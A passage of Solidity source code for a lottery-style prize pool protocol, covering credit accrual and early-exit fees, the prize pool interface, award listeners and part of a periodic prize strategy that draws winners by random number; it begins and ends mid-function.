user, address controlledToken, uint256 newBalance) internal { uint256 oldBalance = _tokenCreditBalances[controlledToken][user].balance; _tokenCreditBalances[controlledToken][user] = CreditBalance({ balance: newBalance.toUint128(), timestamp: _currentTime().toUint32(), initialized: true }); if (oldBalance < newBalance) { emit CreditMinted(user, controlledToken, newBalance.sub(oldBalance)); } else { emit CreditBurned(user, controlledToken, oldBalance.sub(newBalance)); } } /// @notice Applies the credit limit to a credit balance. The balance cannot exceed the credit limit. /// @param controlledToken The controlled token that the user holds /// @param controlledTokenBalance The users ticket balance (used to calculate credit limit) /// @param creditBalance The new credit balance to be checked /// @return The users new credit balance. Will not exceed the credit limit. function _applyCreditLimit(address controlledToken, uint256 controlledTokenBalance, uint256 creditBalance) internal view returns (uint256) { uint256 creditLimit = FixedPoint.multiplyUintByMantissa( controlledTokenBalance, _tokenCreditPlans[controlledToken].creditLimitMantissa ); if (creditBalance > creditLimit) { creditBalance = creditLimit; } return creditBalance; } /// @notice Calculates the accrued interest for a user /// @param user The user whose credit should be calculated. /// @param controlledToken The controlled token that the user holds /// @param controlledTokenBalance The user's current balance of the controlled tokens. /// @return The credit that has accrued since the last credit update. function _calculateAccruedCredit(address user, address controlledToken, uint256 controlledTokenBalance) internal view returns (uint256) { uint256 userTimestamp = _tokenCreditBalances[controlledToken][user].timestamp; if (!_tokenCreditBalances[controlledToken][user].initialized) { return 0; } uint256 deltaTime = _currentTime().sub(userTimestamp); uint256 creditPerSecond = FixedPoint.multiplyUintByMantissa(controlledTokenBalance, _tokenCreditPlans[controlledToken].creditRateMantissa); return deltaTime.mul(creditPerSecond); } /// @notice Returns the credit balance for a given user. Not that this includes both minted credit and pending credit. /// @param user The user whose credit balance should be returned /// @return The balance of the users credit function balanceOfCredit(address user, address controlledToken) external override onlyControlledToken(controlledToken) returns (uint256) { _accrueCredit(user, controlledToken, IERC20Upgradeable(controlledToken).balanceOf(user), 0); return _tokenCreditBalances[controlledToken][user].balance; } /// @notice Sets the rate at which credit accrues per second. The credit rate is a fixed point 18 number (like Ether). /// @param _controlledToken The controlled token for whom to set the credit plan /// @param _creditRateMantissa The credit rate to set. Is a fixed point 18 decimal (like Ether). /// @param _creditLimitMantissa The credit limit to set. Is a fixed point 18 decimal (like Ether). function setCreditPlanOf( address _controlledToken, uint128 _creditRateMantissa, uint128 _creditLimitMantissa ) external override onlyControlledToken(_controlledToken) onlyOwner { _tokenCreditPlans[_controlledToken] = CreditPlan({ creditLimitMantissa: _creditLimitMantissa, creditRateMantissa: _creditRateMantissa }); emit CreditPlanSet(_controlledToken, _creditLimitMantissa, _creditRateMantissa); } /// @notice Returns the credit rate of a controlled token /// @param controlledToken The controlled token to retrieve the credit rates for /// @return creditLimitMantissa The credit limit fraction. This number is used to calculate both the credit limit and early exit fee. /// @return creditRateMantissa The credit rate. This is the amount of tokens that accrue per second. function creditPlanOf( address controlledToken ) external override view returns ( uint128 creditLimitMantissa, uint128 creditRateMantissa ) { creditLimitMantissa = _tokenCreditPlans[controlledToken].creditLimitMantissa; creditRateMantissa = _tokenCreditPlans[controlledToken].creditRateMantissa; } /// @notice Calculate the early exit for a user given a withdrawal amount. The user's credit is taken into account. /// @param from The user who is withdrawing /// @param controlledToken The token they are withdrawing /// @param amount The amount of funds they are withdrawing /// @return earlyExitFee The additional exit fee that should be charged. /// @return creditBurned The amount of credit that will be burned function _calculateEarlyExitFeeLessBurnedCredit( address from, address controlledToken, uint256 amount ) internal returns ( uint256 earlyExitFee, uint256 creditBurned ) { uint256 controlledTokenBalance = IERC20Upgradeable(controlledToken).balanceOf(from); require(controlledTokenBalance >= amount, "PrizePool/insuff-funds"); _accrueCredit(from, controlledToken, controlledTokenBalance, 0); /* The credit is used *last*. Always charge the fees up-front. How to calculate: Calculate their remaining exit fee. I.e. full exit fee of their balance less their credit. If the exit fee on their withdrawal is greater than the remaining exit fee, then they'll have to pay the difference. */ // Determine available usable credit based on withdraw amount uint256 remainingExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, controlledTokenBalance.sub(amount)); uint256 availableCredit; if (_tokenCreditBalances[controlledToken][from].balance >= remainingExitFee) { availableCredit = uint256(_tokenCreditBalances[controlledToken][from].balance).sub(remainingExitFee); } // Determine amount of credit to burn and amount of fees required uint256 totalExitFee = _calculateEarlyExitFeeNoCredit(controlledToken, amount); creditBurned = (availableCredit > totalExitFee) ? totalExitFee : availableCredit; earlyExitFee = totalExitFee.sub(creditBurned); return (earlyExitFee, creditBurned); } /// @notice Allows the Governor to set a cap on the amount of liquidity that he pool can hold /// @param _liquidityCap The new liquidity cap for the prize pool function setLiquidityCap(uint256 _liquidityCap) external override onlyOwner { _setLiquidityCap(_liquidityCap); } function _setLiquidityCap(uint256 _liquidityCap) internal { liquidityCap = _liquidityCap; emit LiquidityCapSet(_liquidityCap); } /// @notice Adds a new controlled token /// @param _controlledToken The controlled token to add. Cannot be a duplicate. function _addControlledToken(ControlledTokenInterface _controlledToken) internal { require(_controlledToken.controller() == this, "PrizePool/token-ctrlr-mismatch"); _tokens.addAddress(address(_controlledToken)); emit ControlledTokenAdded(_controlledToken); } /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external override onlyOwner { _setPrizeStrategy(_prizeStrategy); } /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy function _setPrizeStrategy(TokenListenerInterface _prizeStrategy) internal { require(address(_prizeStrategy) != address(0), "PrizePool/prizeStrategy-not-zero"); require(address(_prizeStrategy).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PrizePool/prizeStrategy-invalid"); prizeStrategy = _prizeStrategy; emit PrizeStrategySet(address(_prizeStrategy)); } /// @notice An array of the Tokens controlled by the Prize Pool (ie. Tickets, Sponsorship) /// @return An array of controlled token addresses function tokens() external override view returns (address[] memory) { return _tokens.addressArray(); } /// @dev Gets the current time as represented by the current block /// @return The timestamp of the current block function _currentTime() internal virtual view returns (uint256) { return block.timestamp; } /// @notice The timestamp at which an account's timelocked balance will be made available to sweep /// @param user The address of an account with timelocked assets /// @return The timestamp at which the locked assets will be made available function timelockBalanceAvailableAt(address user) external override view returns (uint256) { return _unlockTimestamps[user]; } /// @notice The balance of timelocked assets for an account /// @param user The address of an account with timelocked assets /// @return The amount of assets that have been timelocked function timelockBalanceOf(address user) external override view returns (uint256) { return _timelockBalances[user]; } /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function accountedBalance() external override view returns (uint256) { return _tokenTotalSupply(); } /// @notice Delegate the votes for a Compound COMP-like token held by the prize pool /// @param compLike The COMP-like token held by the prize pool that should be delegated /// @param to The address to delegate to function compLikeDelegate(ICompLike compLike, address to) external onlyOwner { if (compLike.balanceOf(address(this)) > 0) { compLike.delegate(to); } } /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function _tokenTotalSupply() internal view returns (uint256) { uint256 total = timelockTotalSupply.add(reserveTotalSupply); address currentToken = _tokens.start(); while (currentToken != address(0) && currentToken != _tokens.end()) { total = total.add(IERC20Upgradeable(currentToken).totalSupply()); currentToken = _tokens.next(currentToken); } return total; } /// @dev Checks if the Prize Pool can receive liquidity based on the current cap /// @param _amount The amount of liquidity to be added to the Prize Pool /// @return True if the Prize Pool can receive the specified amount of liquidity function _canAddLiquidity(uint256 _amount) internal view returns (bool) { uint256 tokenTotalSupply = _tokenTotalSupply(); return (tokenTotalSupply.add(_amount) <= liquidityCap); } /// @dev Checks if a specific token is controlled by the Prize Pool /// @param controlledToken The address of the token to check /// @return True if the token is a controlled token, false otherwise function _isControlled(address controlledToken) internal view returns (bool) { return _tokens.contains(controlledToken); } /// @notice Determines whether the passed token can be transferred out as an external award. /// @dev Different yield sources will hold the deposits as another kind of token: such a Compound's cToken. The /// prize strategy should not be allowed to move those tokens. /// @param _externalToken The address of the token to check /// @return True if the token may be awarded, false otherwise function _canAwardExternal(address _externalToken) internal virtual view returns (bool); /// @notice Returns the ERC20 asset token used for deposits. /// @return The ERC20 asset token function _token() internal virtual view returns (IERC20Upgradeable); /// @notice Returns the total balance (in asset tokens). This includes the deposits and interest. /// @return The underlying balance of asset tokens function _balance() internal virtual returns (uint256); /// @notice Supplies asset tokens to the yield source. /// @param mintAmount The amount of asset tokens to be supplied function _supply(uint256 mintAmount) internal virtual; /// @notice Redeems asset tokens from the yield source. /// @param redeemAmount The amount of yield-bearing tokens to be redeemed /// @return The actual amount of tokens that were redeemed. function _redeem(uint256 redeemAmount) internal virtual returns (uint256); /// @dev Function modifier to ensure usage of tokens controlled by the Prize Pool /// @param controlledToken The address of the token to check modifier onlyControlledToken(address controlledToken) { require(_isControlled(controlledToken), "PrizePool/unknown-token"); _; } /// @dev Function modifier to ensure caller is the prize-strategy modifier onlyPrizeStrategy() { require(_msgSender() == address(prizeStrategy), "PrizePool/only-prizeStrategy"); _; } /// @dev Function modifier to ensure the deposit amount does not exceed the liquidity cap (if set) modifier canAddLiquidity(uint256 _amount) { require(_canAddLiquidity(_amount), "PrizePool/exceeds-liquidity-cap"); _; } modifier onlyReserve() { ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup()); require(address(reserve) == msg.sender, "PrizePool/only-reserve"); _; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "../token/TokenListenerInterface.sol"; import "../token/ControlledTokenInterface.sol"; /// @title Escrows assets and deposits them into a yield source. Exposes interest to Prize Strategy. Users deposit and withdraw from this contract to participate in Prize Pool. /// @notice Accounting is managed using Controlled Tokens, whose mint and burn functions can only be called by this contract. /// @dev Must be inherited to provide specific yield-bearing asset control, such as Compound cTokens interface PrizePoolInterface { /// @notice Deposit assets into the Prize Pool in exchange for tokens /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit /// @param controlledToken The address of the type of token the user is minting /// @param referrer The referrer of the deposit function depositTo( address to, uint256 amount, address controlledToken, address referrer ) external; /// @notice Withdraw assets from the Prize Pool instantly. A fairness fee may be charged for an early exit. /// @param from The address to redeem tokens from. /// @param amount The amount of tokens to redeem for assets. /// @param controlledToken The address of the token to redeem (i.e. ticket or sponsorship) /// @param maximumExitFee The maximum exit fee the caller is willing to pay. This should be pre-calculated by the calculateExitFee() fxn. /// @return The actual exit fee paid function withdrawInstantlyFrom( address from, uint256 amount, address controlledToken, uint256 maximumExitFee ) external returns (uint256); /// @notice Withdraw assets from the Prize Pool by placing them into the timelock. /// The timelock is used to ensure that the tickets have contributed their fair share of the prize. /// @dev Note that if the user has previously timelocked funds then this contract will try to sweep them. /// If the existing timelocked funds are still locked, then the incoming /// balance is added to their existing balance and the new timelock unlock timestamp will overwrite the old one. /// @param from The address to withdraw from /// @param amount The amount to withdraw /// @param controlledToken The type of token being withdrawn /// @return The timestamp from which the funds can be swept function withdrawWithTimelockFrom( address from, uint256 amount, address controlledToken ) external returns (uint256); function withdrawReserve(address to) external returns (uint256); /// @notice Returns the balance that is available to award. /// @dev captureAwardBalance() should be called first /// @return The total amount of assets to be awarded for the current prize function awardBalance() external view returns (uint256); /// @notice Captures any available interest as award balance. /// @dev This function also captures the reserve fees. /// @return The total amount of assets to be awarded for the current prize function captureAwardBalance() external returns (uint256); /// @notice Called by the prize strategy to award prizes. /// @dev The amount awarded must be less than the awardBalance() /// @param to The address of the winner that receives the award /// @param amount The amount of assets to be awarded /// @param controlledToken The address of the asset token being awarded function award( address to, uint256 amount, address controlledToken ) external; /// @notice Called by the Prize-Strategy to transfer out external ERC20 tokens /// @dev Used to transfer out tokens held by the Prize Pool. Could be liquidated, or anything. /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function transferExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the Prize-Strategy to award external ERC20 prizes /// @dev Used to award any arbitrary tokens held by the Prize Pool /// @param to The address of the winner that receives the award /// @param amount The amount of external assets to be awarded /// @param externalToken The address of the external asset token being awarded function awardExternalERC20( address to, address externalToken, uint256 amount ) external; /// @notice Called by the prize strategy to award external ERC721 prizes /// @dev Used to award any arbitrary NFTs held by the Prize Pool /// @param to The address of the winner that receives the award /// @param externalToken The address of the external NFT token being awarded /// @param tokenIds An array of NFT Token IDs to be transferred function awardExternalERC721( address to, address externalToken, uint256[] calldata tokenIds ) external; /// @notice Sweep all timelocked balances and transfer unlocked assets to owner accounts /// @param users An array of account addresses to sweep balances for /// @return The total amount of assets swept from the Prize Pool function sweepTimelockBalances( address[] calldata users ) external returns (uint256); /// @notice Calculates a timelocked withdrawal duration and credit consumption. /// @param from The user who is withdrawing /// @param amount The amount the user is withdrawing /// @param controlledToken The type of collateral the user is withdrawing (i.e. ticket or sponsorship) /// @return durationSeconds The duration of the timelock in seconds function calculateTimelockDuration( address from, address controlledToken, uint256 amount ) external returns ( uint256 durationSeconds, uint256 burnedCredit ); /// @notice Calculates the early exit fee for the given amount /// @param from The user who is withdrawing /// @param controlledToken The type of collateral being withdrawn /// @param amount The amount of collateral to be withdrawn /// @return exitFee The exit fee /// @return burnedCredit The user's credit that was burned function calculateEarlyExitFee( address from, address controlledToken, uint256 amount ) external returns ( uint256 exitFee, uint256 burnedCredit ); /// @notice Estimates the amount of time it will take for a given amount of funds to accrue the given amount of credit. /// @param _principal The principal amount on which interest is accruing /// @param _interest The amount of interest that must accrue /// @return durationSeconds The duration of time it will take to accrue the given amount of interest, in seconds. function estimateCreditAccrualTime( address _controlledToken, uint256 _principal, uint256 _interest ) external view returns (uint256 durationSeconds); /// @notice Returns the credit balance for a given user. Not that this includes both minted credit and pending credit. /// @param user The user whose credit balance should be returned /// @return The balance of the users credit function balanceOfCredit(address user, address controlledToken) external returns (uint256); /// @notice Sets the rate at which credit accrues per second. The credit rate is a fixed point 18 number (like Ether). /// @param _controlledToken The controlled token for whom to set the credit plan /// @param _creditRateMantissa The credit rate to set. Is a fixed point 18 decimal (like Ether). /// @param _creditLimitMantissa The credit limit to set. Is a fixed point 18 decimal (like Ether). function setCreditPlanOf( address _controlledToken, uint128 _creditRateMantissa, uint128 _creditLimitMantissa ) external; /// @notice Returns the credit rate of a controlled token /// @param controlledToken The controlled token to retrieve the credit rates for /// @return creditLimitMantissa The credit limit fraction. This number is used to calculate both the credit limit and early exit fee. /// @return creditRateMantissa The credit rate. This is the amount of tokens that accrue per second. function creditPlanOf( address controlledToken ) external view returns ( uint128 creditLimitMantissa, uint128 creditRateMantissa ); /// @notice Allows the Governor to set a cap on the amount of liquidity that he pool can hold /// @param _liquidityCap The new liquidity cap for the prize pool function setLiquidityCap(uint256 _liquidityCap) external; /// @notice Sets the prize strategy of the prize pool. Only callable by the owner. /// @param _prizeStrategy The new prize strategy. Must implement TokenListenerInterface function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external; /// @dev Returns the address of the underlying ERC20 asset /// @return The address of the asset function token() external view returns (address); /// @notice An array of the Tokens controlled by the Prize Pool (ie. Tickets, Sponsorship) /// @return An array of controlled token addresses function tokens() external view returns (address[] memory); /// @notice The timestamp at which an account's timelocked balance will be made available to sweep /// @param user The address of an account with timelocked assets /// @return The timestamp at which the locked assets will be made available function timelockBalanceAvailableAt(address user) external view returns (uint256); /// @notice The balance of timelocked assets for an account /// @param user The address of an account with timelocked assets /// @return The amount of assets that have been timelocked function timelockBalanceOf(address user) external view returns (uint256); /// @notice The total of all controlled tokens and timelock. /// @return The current total of all tokens and timelock. function accountedBalance() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; import "./BeforeAwardListenerInterface.sol"; import "../Constants.sol"; import "./BeforeAwardListenerLibrary.sol"; abstract contract BeforeAwardListener is BeforeAwardListenerInterface { function supportsInterface(bytes4 interfaceId) external override view returns (bool) { return ( interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || interfaceId == BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER ); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /// @notice The interface for the Periodic Prize Strategy before award listener. This listener will be called immediately before the award is distributed. interface BeforeAwardListenerInterface is IERC165Upgradeable { /// @notice Called immediately before the award is distributed function beforePrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; library BeforeAwardListenerLibrary { /* * bytes4(keccak256('beforePrizePoolAwarded(uint256,uint256)')) == 0x4cdf9c3e */ bytes4 public constant ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER = 0x4cdf9c3e; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165CheckerUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@pooltogether/pooltogether-rng-contracts/contracts/RNGInterface.sol"; import "@pooltogether/fixed-point/contracts/FixedPoint.sol"; import "../token/TokenListener.sol"; import "../token/TokenControllerInterface.sol"; import "../token/ControlledToken.sol"; import "../token/TicketInterface.sol"; import "../prize-pool/PrizePool.sol"; import "../Constants.sol"; import "./PeriodicPrizeStrategyListenerInterface.sol"; import "./PeriodicPrizeStrategyListenerLibrary.sol"; import "./BeforeAwardListener.sol"; /* solium-disable security/no-block-members */ abstract contract PeriodicPrizeStrategy is Initializable, OwnableUpgradeable, TokenListener { using SafeMathUpgradeable for uint256; using SafeCastUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using MappedSinglyLinkedList for MappedSinglyLinkedList.Mapping; using AddressUpgradeable for address; using ERC165CheckerUpgradeable for address; uint256 internal constant ETHEREUM_BLOCK_TIME_ESTIMATE_MANTISSA = 13.4 ether; event PrizePoolOpened( address indexed operator, uint256 indexed prizePeriodStartedAt ); event RngRequestFailed(); event PrizePoolAwardStarted( address indexed operator, address indexed prizePool, uint32 indexed rngRequestId, uint32 rngLockBlock ); event PrizePoolAwardCancelled( address indexed operator, address indexed prizePool, uint32 indexed rngRequestId, uint32 rngLockBlock ); event PrizePoolAwarded( address indexed operator, uint256 randomNumber ); event RngServiceUpdated( RNGInterface indexed rngService ); event TokenListenerUpdated( TokenListenerInterface indexed tokenListener ); event RngRequestTimeoutSet( uint32 rngRequestTimeout ); event PrizePeriodSecondsUpdated( uint256 prizePeriodSeconds ); event BeforeAwardListenerSet( BeforeAwardListenerInterface indexed beforeAwardListener ); event PeriodicPrizeStrategyListenerSet( PeriodicPrizeStrategyListenerInterface indexed periodicPrizeStrategyListener ); event ExternalErc721AwardAdded( IERC721Upgradeable indexed externalErc721, uint256[] tokenIds ); event ExternalErc20AwardAdded( IERC20Upgradeable indexed externalErc20 ); event ExternalErc721AwardRemoved( IERC721Upgradeable indexed externalErc721Award ); event ExternalErc20AwardRemoved( IERC20Upgradeable indexed externalErc20Award ); event Initialized( uint256 prizePeriodStart, uint256 prizePeriodSeconds, PrizePool indexed prizePool, TicketInterface ticket, IERC20Upgradeable sponsorship, RNGInterface rng, IERC20Upgradeable[] externalErc20Awards ); struct RngRequest { uint32 id; uint32 lockBlock; uint32 requestedAt; } // Comptroller TokenListenerInterface public tokenListener; // Contract Interfaces PrizePool public prizePool; TicketInterface public ticket; IERC20Upgradeable public sponsorship; RNGInterface public rng; // Current RNG Request RngRequest internal rngRequest; /// @notice RNG Request Timeout. In fact, this is really a "complete award" timeout. /// If the rng completes the award can still be cancelled. uint32 public rngRequestTimeout; // Prize period uint256 public prizePeriodSeconds; uint256 public prizePeriodStartedAt; // External tokens awarded as part of prize MappedSinglyLinkedList.Mapping internal externalErc20s; MappedSinglyLinkedList.Mapping internal externalErc721s; // External NFT token IDs to be awarded // NFT Address => TokenIds mapping (IERC721Upgradeable => uint256[]) internal externalErc721TokenIds; /// @notice A listener that is called before the prize is awarded BeforeAwardListenerInterface public beforeAwardListener; /// @notice A listener that is called after the prize is awarded PeriodicPrizeStrategyListenerInterface public periodicPrizeStrategyListener; /// @notice Initializes a new strategy /// @param _prizePeriodStart The starting timestamp of the prize period. /// @param _prizePeriodSeconds The duration of the prize period in seconds /// @param _prizePool The prize pool to award /// @param _ticket The ticket to use to draw winners /// @param _sponsorship The sponsorship token /// @param _rng The RNG service to use function initialize ( uint256 _prizePeriodStart, uint256 _prizePeriodSeconds, PrizePool _prizePool, TicketInterface _ticket, IERC20Upgradeable _sponsorship, RNGInterface _rng, IERC20Upgradeable[] memory externalErc20Awards ) public initializer { require(address(_prizePool) != address(0), "PeriodicPrizeStrategy/prize-pool-not-zero"); require(address(_ticket) != address(0), "PeriodicPrizeStrategy/ticket-not-zero"); require(address(_sponsorship) != address(0), "PeriodicPrizeStrategy/sponsorship-not-zero"); require(address(_rng) != address(0), "PeriodicPrizeStrategy/rng-not-zero"); prizePool = _prizePool; ticket = _ticket; rng = _rng; sponsorship = _sponsorship; _setPrizePeriodSeconds(_prizePeriodSeconds); __Ownable_init(); Constants.REGISTRY.setInterfaceImplementer(address(this), Constants.TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); externalErc20s.initialize(); for (uint256 i = 0; i < externalErc20Awards.length; i++) { _addExternalErc20Award(externalErc20Awards[i]); } prizePeriodSeconds = _prizePeriodSeconds; prizePeriodStartedAt = _prizePeriodStart; externalErc721s.initialize(); // 30 min timeout _setRngRequestTimeout(1800); emit Initialized( _prizePeriodStart, _prizePeriodSeconds, _prizePool, _ticket, _sponsorship, _rng, externalErc20Awards ); emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); } function _distribute(uint256 randomNumber) internal virtual; /// @notice Calculates and returns the currently accrued prize /// @return The current prize size function currentPrize() public view returns (uint256) { return prizePool.awardBalance(); } /// @notice Allows the owner to set the token listener /// @param _tokenListener A contract that implements the token listener interface. function setTokenListener(TokenListenerInterface _tokenListener) external onlyOwner requireAwardNotInProgress { require(address(0) == address(_tokenListener) || address(_tokenListener).supportsInterface(TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER), "PeriodicPrizeStrategy/token-listener-invalid"); tokenListener = _tokenListener; emit TokenListenerUpdated(tokenListener); } /// @notice Estimates the remaining blocks until the prize given a number of seconds per block /// @param secondsPerBlockMantissa The number of seconds per block to use for the calculation. Should be a fixed point 18 number like Ether. /// @return The estimated number of blocks remaining until the prize can be awarded. function estimateRemainingBlocksToPrize(uint256 secondsPerBlockMantissa) public view returns (uint256) { return FixedPoint.divideUintByMantissa( _prizePeriodRemainingSeconds(), secondsPerBlockMantissa ); } /// @notice Returns the number of seconds remaining until the prize can be awarded. /// @return The number of seconds remaining until the prize can be awarded. function prizePeriodRemainingSeconds() external view returns (uint256) { return _prizePeriodRemainingSeconds(); } /// @notice Returns the number of seconds remaining until the prize can be awarded. /// @return The number of seconds remaining until the prize can be awarded. function _prizePeriodRemainingSeconds() internal view returns (uint256) { uint256 endAt = _prizePeriodEndAt(); uint256 time = _currentTime(); if (time > endAt) { return 0; } return endAt.sub(time); } /// @notice Returns whether the prize period is over /// @return True if the prize period is over, false otherwise function isPrizePeriodOver() external view returns (bool) { return _isPrizePeriodOver(); } /// @notice Returns whether the prize period is over /// @return True if the prize period is over, false otherwise function _isPrizePeriodOver() internal view returns (bool) { return _currentTime() >= _prizePeriodEndAt(); } /// @notice Awards collateral as tickets to a user /// @param user The user to whom the tickets are minted /// @param amount The amount of interest to mint as tickets. function _awardTickets(address user, uint256 amount) internal { prizePool.award(user, amount, address(ticket)); } /// @notice Awards all external tokens with non-zero balances to the given user. The external tokens must be held by the PrizePool contract. /// @param winner The user to transfer the tokens to function _awardAllExternalTokens(address winner) internal { _awardExternalErc20s(winner); _awardExternalErc721s(winner); } /// @notice Awards all external ERC20 tokens with non-zero balances to the given user. /// The external tokens must be held by the PrizePool contract. /// @param winner The user to transfer the tokens to function _awardExternalErc20s(address winner) internal { address currentToken = externalErc20s.start(); while (currentToken != address(0) && currentToken != externalErc20s.end()) { uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC20(winner, currentToken, balance); } currentToken = externalErc20s.next(currentToken); } } /// @notice Awards all external ERC721 tokens to the given user. /// The external tokens must be held by the PrizePool contract. /// @dev The list of ERC721s is reset after every award /// @param winner The user to transfer the tokens to function _awardExternalErc721s(address winner) internal { address currentToken = externalErc721s.start(); while (currentToken != address(0) && currentToken != externalErc721s.end()) { uint256 balance = IERC721Upgradeable(currentToken).balanceOf(address(prizePool)); if (balance > 0) { prizePool.awardExternalERC721(winner, currentToken, externalErc721TokenIds[IERC721Upgradeable(currentToken)]); _removeExternalErc721AwardTokens(IERC721Upgradeable(currentToken)); } currentToken = externalErc721s.next(currentToken); } externalErc721s.clearAll(); } /// @notice Returns the timestamp at which the prize period ends /// @return The timestamp at which the prize period ends. function prizePeriodEndAt() external view returns (uint256) { // current prize started at is non-inclusive, so add one return _prizePeriodEndAt(); } /// @notice Returns the timestamp at which the prize period ends /// @return The timestamp at which the prize period ends. function _prizePeriodEndAt() internal view returns (uint256) { // current prize started at is non-inclusive, so add one return prizePeriodStartedAt.add(prizePeriodSeconds); } /// @notice Called by the PrizePool for transfers of controlled tokens /// @dev Note that this is only for *transfers*, not mints or burns /// @param controlledToken The type of collateral that is being sent function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external override onlyPrizePool { require(from != to, "PeriodicPrizeStrategy/transfer-to-self"); if (controlledToken == address(ticket)) { _requireAwardNotInProgress(); } if (address(tokenListener) != address(0)) { tokenListener.beforeTokenTransfer(from, to, amount, controlledToken); } } /// @notice Called by the PrizePool when minting controlled tokens /// @param controlledToken The type of collateral that is being minted function beforeTokenMint( address to, uint256 amount, address controlledToken, address referrer ) external override onlyPrizePool { if (controlledToken == address(ticket)) { _requireAwardNotInProgress(); } if (address(tokenListener) != address(0)) { tokenListener.beforeTokenMint(to, amount, controlledToken, referrer); } } /// @notice returns the current time. Used for testing. /// @return The current time (block.timestamp) function _currentTime() internal virtual view returns (uint256) { return block.timestamp; } /// @notice returns the current time. Used for testing. /// @return The current time (block.timestamp) function _currentBlock() internal virtual view returns (uint256) { return block.number; } /// @notice Starts the award process by starting random number request. The prize period must have ended. /// @dev The RNG-Request-Fee is expected to be held within this contract before calling this function function startAward() external requireCanStartAward { (address feeToken, uint256 requestFee) = rng.getRequestFee(); if (feeToken != address(0) && requestFee > 0) { IERC20Upgradeable(feeToken).approve(address(rng), requestFee); } (uint32 requestId, uint32 lockBlock) = rng.requestRandomNumber(); rngRequest.id = requestId; rngRequest.lockBlock = lockBlock; rngRequest.requestedAt = _currentTime().toUint32(); emit PrizePoolAwardStarted(_msgSender(), address(prizePool), requestId, lockBlock); } /// @notice Can be called by anyone to unlock the tickets if the RNG has timed out. function cancelAward() public { require(isRngTimedOut(), "PeriodicPrizeStrategy/rng-not-timedout"); uint32 requestId = rngRequest.id; uint32 lockBlock = rngRequest.lockBlock; delete rngRequest; emit RngRequestFailed(); emit PrizePoolAwardCancelled(msg.sender, address(prizePool), requestId, lockBlock); } /// @notice Completes the award process and awards the winners. The random number must have been requested and is now available. function completeAward() external requireCanCompleteAward { uint256 randomNumber = rng.randomNumber(rngRequest.id); delete rngRequest; if (address(beforeAwardListener) != address(0)) { beforeAwardListener.beforePrizePoolAwarded(randomNumber, prizePeriodStartedAt); } _distribute(randomNumber); if (address(periodicPrizeStrategyListener) != address(0)) { periodicPrizeStrategyListener.afterPrizePoolAwarded(randomNumber, prizePeriodStartedAt); } // to avoid clock drift, we should calculate the start time based on the previous period start time. prizePeriodStartedAt = _calculateNextPrizePeriodStartTime(_currentTime()); emit PrizePoolAwarded(_msgSender(), randomNumber); emit PrizePoolOpened(_msgSender(), prizePeriodStartedAt); } /// @notice Allows the owner to set a listener that is triggered immediately before the award is distributed /// @dev The listener must implement ERC165 and the BeforeAwardListenerInterface /// @param _beforeAwardListener The address of the listener contract function setBeforeAwardListener(BeforeAwardListenerInterface _beforeAwardListener) external onlyOwner requireAwardNotInProgress { require( address(0) == address(_beforeAwardListener) || address(_beforeAwardListener).supportsInterface(BeforeAwardListenerLibrary.ERC165_INTERFACE_ID_BEFORE_AWARD_LISTENER), "PeriodicPrizeStrategy/beforeAwardListener-invalid" ); beforeAwardListener = _beforeAwardListener; emit BeforeAwardListenerSet(_beforeAwardListener); } /// @notice Allows the owner to set a listener for prize strategy callbacks. /// @param _periodicPrizeStrategyListener The address of the listener contract function setPeriodicPrizeStrategyListener(PeriodicPrizeStrategyListenerInterface _periodicPrizeStrategyListener) external onlyOwner requireAwardNotInProgress { require( address(0) == address(_periodicPrizeStrategyListener) || address(_periodicPrizeStrategyListener).supportsInterface(PeriodicPrizeStrategyListenerLibrary.ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER), "PeriodicPrizeStrategy/prizeStrategyListener-invalid" ); periodicPrizeStrategyListener = _periodicPrizeStrategyListener; emit PeriodicPrizeStrategyListenerSet(_periodicPrizeStrategyListener); } function _calculateNextPrizePeriodStartTime(uint256 currentTime) internal view returns (uint256) { uint256 elapsedPeriods = currentTime.sub(prizePeriodStartedAt).div(prizePeriodSeconds); return 